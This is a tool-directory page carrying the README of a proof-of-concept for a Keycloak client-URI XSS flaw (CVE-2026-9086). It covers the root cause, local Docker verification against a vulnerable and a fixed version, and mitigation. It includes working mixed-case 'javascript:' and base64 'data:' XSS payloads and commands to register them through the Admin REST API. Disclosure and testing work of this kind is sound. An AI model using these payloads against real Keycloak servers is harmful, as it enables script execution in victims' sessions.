Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 proof-of-concept for Keycloak client URI validation bypass using mixed-case javascript: and data: XSS payloads, with Docker-based verification of vulnerable and fixed versions. | Kitploit
Tools/GitHubGitHub/saku0512/cve-2026-9086-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 proof-of-concept for Keycloak client URI validation bypass using mixed-case javascript: and data: XSS payloads, with Docker-based verification of vulnerable and fixed versions.

View Repository
121 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-9086: Keycloak URI Scheme Validation Bypass XSS PoC

日本語版

Overview

This repository contains a Proof of Concept (PoC) for CVE-2026-9086, a Cross-Site Scripting (XSS) vulnerability in Keycloak client URI validation.

Vulnerable Keycloak versions compared the prohibited javascript: and data: schemes case-sensitively. Mixed-case forms such as jaVaSCript: and DaTa: therefore bypassed validation, while browsers interpret URI schemes without regard to case. If a victim clicks a resulting crafted link, JavaScript may run in the Keycloak origin.

This PoC starts Keycloak 26.6.3 (vulnerable) and 26.6.4 (fixed) with Docker. It submits the same mixed-case URI through the Admin REST API and demonstrates that 26.6.3 stores it while 26.6.4 rejects it with HTTP 400.

The PoC never opens the registered URI or executes JavaScript.


Disclaimer

Use this project only for education and authorized security testing. Do not test third-party Keycloak installations without explicit permission. The author assumes no liability for misuse, damage, or illegal activity.


Vulnerability Details

  • CVE ID: CVE-2026-9086
  • Product: Keycloak / Red Hat build of Keycloak
  • Type: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Required access: manage-client permission or access to client registration endpoints
  • User interaction: A victim must click a crafted link
  • Vulnerable PoC version: Keycloak 26.6.3
  • Fixed PoC version: Keycloak 26.6.4
  • NVD CPE ranges: Red Hat build of Keycloak 26.4 before 26.4.13 and 26.6 before 26.6.4

Root Cause

Before the fix, DefaultClientValidationProvider used case-sensitive String.equals() comparisons:

root@kitploit:~
uri.getScheme().equals("data") || uri.getScheme().equals("javascript")

Since java.net.URI#getScheme() preserves the input case, values such as these were accepted:

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

The fix replaces those comparisons with equalsIgnoreCase().


Proof of Concept

1. Start the environments

root@kitploit:~
docker compose up -d
URLVersionExpected result
http://localhost:8180Keycloak 26.6.3URI accepted (vulnerable)
http://localhost:8181Keycloak 26.6.4HTTP 400 (fixed)

Wait until both logs contain Listening on:

root@kitploit:~
docker compose logs -f

2. Test the vulnerable version

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Expected result:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

3. Test the fixed version

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Expected result:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Test the data: case

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Clean up

root@kitploit:~
docker compose down -v

What the PoC Does

The script obtains an administrator token, creates a client with a randomized ID and a mixed-case prohibited redirect URI, then checks the response. On the vulnerable version it retrieves the client and confirms that the URI was stored. On the fixed version it confirms the HTTP 400 validation response.

It does not open a browser, navigate to the stored URI, or execute JavaScript.

Mitigation

Upgrade Keycloak 26.6 to 26.6.4 or later, and Red Hat build of Keycloak 26.4 to 26.4.13 or later. Audit existing client URI fields for mixed-case javascript: and data: values, and limit client-management and registration permissions.

References

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
Download Tool